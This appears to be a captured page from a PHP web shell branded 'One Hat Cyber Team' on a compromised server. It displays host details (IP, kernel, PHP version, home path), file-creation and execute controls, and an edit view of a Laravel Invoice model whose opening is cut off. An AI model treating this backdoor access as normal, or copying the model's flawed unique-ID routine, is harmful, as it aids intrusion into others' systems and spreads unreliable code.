⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.138
Server IP:
186.226.58.36
Server:
Linux da02.sh15.net 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Server Software:
Apache/2
PHP Version:
8.1.32
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
redesystem
/
public_html
/
sys
/
app
/
Models
/
Edit File: Invoice.php
'Select Discount Type', self::FIXED => 'Fixed', self::PERCENTAGE => 'Percentage', ]; public const DRAFT = 0; public const UNPAID = 1; public const PAID = 2; public const PARTIALLY = 3; public const OVERDUE = 4; public const STATUS_ALL = 7; public const PROCESSING = 6; public const STATUS_ARR = [ self::STATUS_ALL => 'All', self::DRAFT => 'Draft', self::UNPAID => 'Unpaid', self::PAID => 'Paid', self::PARTIALLY => 'Partially Paid', self::OVERDUE => 'Overdue', self::PROCESSING => 'Processing', ]; public const RECURRING_OFF = 0; public const RECURRING_ON = 1; public const RECURRING_STATUS_ARR = [ self::RECURRING_ON => 'On', self::RECURRING_OFF => 'Off', ]; public const MONTHLY = 1; public const QUARTERLY = 2; public const SEMIANNUALLY = 3; public const ANNUALLY = 4; public const RECURRING_ARR = [ self::MONTHLY => 'Monthly', self::QUARTERLY => 'Quarterly', self::SEMIANNUALLY => 'Semi Annually', self::ANNUALLY => 'Annually', ]; /** * Validation rules * * @var array */ public static $rules = [ 'client_id' => 'required', 'invoice_id' => 'required|unique:invoices,invoice_id', 'invoice_date' => 'required', 'due_date' => 'required', ]; public static $messages = [ 'client_id.required' => 'The Client field is required.', 'invoice_date.required' => 'The invoice date field is required.', 'due_date' => 'The invoice Due date field is required.', ]; public $table = 'invoices'; public $appends = ['status_label']; public $fillable = [ 'client_id', 'invoice_date', 'due_date', 'invoice_id', 'currency_id', 'amount', 'discount_type', 'discount', 'final_amount', 'note', 'term', 'template_id', 'payment_qr_code_id', 'status', 'recurring_status', 'recurring_cycle', 'last_recurring_on', 'parent_id', ]; protected $casts = [ 'client_id' => 'integer', 'parent_id' => 'integer', 'invoice_date' => 'date', 'due_date' => 'date', 'invoice_id' => 'string', 'currency_id' => 'integer', 'amount' => 'double', 'discount_type' => 'integer', 'discount' => 'double', 'final_amount' => 'double', 'note' => 'string', 'term' => 'string', 'template_id' => 'integer', 'status' => 'integer', 'recurring_status' => 'integer', 'recurring_cycle' => 'integer', 'last_recurring_on' => 'date', 'tax' => 'double', ]; public function getStatusLabelAttribute(): string { return self::STATUS_ARR[$this->status]; } public function client(): BelongsTo { return $this->belongsTo(Client::class, 'client_id', 'id'); } public function paymentQrCode(): BelongsTo { return $this->belongsTo(PaymentQrCode::class, 'payment_qr_code_id', 'id'); } public function invoiceItems(): HasMany { return $this->hasMany(InvoiceItem::class); } public static function generateUniqueInvoiceId(): string { $invoiceId = mb_strtoupper(Str::random(6)); while (true) { $isExist = self::whereInvoiceId($invoiceId)->exists(); if ($isExist) { self::generateUniqueInvoiceId(); } break; } return $invoiceId; } public function payments(): HasMany { return $this->hasMany(Payment::class, 'invoice_id', 'id'); } public function AdminPayment(): HasMany { return $this->hasMany(AdminPayment::class, 'invoice_id', 'id'); } public function invoiceTemplate(): BelongsTo { return $this->belongsTo(InvoiceSetting::class, 'template_id', 'id'); } public function parentInvoice(): BelongsTo { return $this->belongsTo(self::class, 'parent_id', 'id'); } public function childInvoices(): HasMany { return $this->hasMany(self::class, 'parent_id', 'id'); } public function setInvoiceDateAttribute($value): void { $this->attributes['invoice_date'] = Carbon::createFromFormat( currentDateFormat(), $value )->translatedFormat('Y-m-d'); } public function setDueDateAttribute($value): void { $this->attributes['due_date'] = Carbon::createFromFormat( currentDateFormat(), $value )->translatedFormat('Y-m-d'); } public function invoiceTaxes(): BelongsToMany { return $this->belongsToMany(Tax::class, 'invoice_taxes'); } }
Simpan